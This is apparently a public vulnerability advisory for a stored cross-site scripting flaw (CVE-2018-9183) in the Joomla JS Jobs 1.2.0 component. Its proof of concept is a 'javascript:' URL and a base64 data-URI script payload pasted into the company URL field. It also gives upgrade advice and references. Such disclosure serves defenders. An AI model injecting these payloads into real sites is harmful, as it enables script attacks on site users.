Joomla JS Jobs 1.2.0 Cross Site Scripting

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# Exploit Title: Joomla! Component JS Jobs 1.2.0 - Cross Site Scripting  
# Google Dork: N/A  
# Date: 03-04-2018  
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# Exploit Author: Sureshbabu Narvaneni#  
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# Author Blog : http://nullnews.in  
# Vendor Homepage: https://www.joomsky.com/products/js-jobs.html  
# Software Link: https://www.joomsky.com/5/download/1.html  
# Affected Version: 1.2.0  
# Category: WebApps  
# Tested on: Win7 Enterprise x86/Kali Linux 4.12 i686  
# CVE : CVE-2018-9183  
#  
# 1. Vendor Description:  
#  
# JS Jobs offer to employer to register his company and post jobs. Job  
seeker register him self and add his resume.  
# He can search job and apply on it. Employer will get resume in applied  
resume section.  
#  
# 2. Technical Description:  
#  
# JS Jobs 1.2.0 is missing validation on URL inserted by attacker/employer  
while creating company entry.  
#  
# 3. Proof Of Concept:  
#  
# Create a company entry by logging in as Employer and paste below payload  
in place of URL field.  
#  
# Payload : javascript:alert(1) or  
data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K  
#  
# 4. Solution:  
#  
# Upgrade to latest release.  
# http://www.joomsky.com/5/download/1.html  
#  
# 5. Reference:  
# https://vel.joomla.org/resolved/2146-js-jobs-1-2-0-xss-cross-site-scripting  
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9183  
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